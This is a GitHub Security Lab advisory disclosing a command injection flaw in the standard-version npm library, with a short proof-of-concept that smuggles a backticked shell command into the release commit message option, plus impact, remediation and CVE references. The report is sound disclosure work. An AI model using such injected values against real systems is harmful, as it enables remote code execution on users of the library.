GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-111

The GitHub Security Lab team has identified a potential security vulnerability in standard-version.

Summary

The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

Standard Version

Tested Version

Commit 2f04ac8

Details

Issue 1: Command injection in standardVersion

The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:

npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"

Now create a file with the following contents:

var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

const standardVersion = require('standard-version')

standardVersion({
  noVerify: true,
  infile: 'foo.txt',
  releaseCommitMessageFormat: "bla `touch exploit`"
})

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:
CVE-2020-7646,
CVE-2020-7614,
CVE-2020-7597,
CVE-2019-10778,
CVE-2019-10776,
CVE-2018-16462,
CVE-2018-16461,
CVE-2018-16460,
CVE-2018-13797,
CVE-2018-3786,
CVE-2018-3772,
CVE-2018-3746,
CVE-2017-16100,
CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-111 in any communication regarding this issue.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

References

• GHSA-7xcx-6wjh-7xp2
• https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9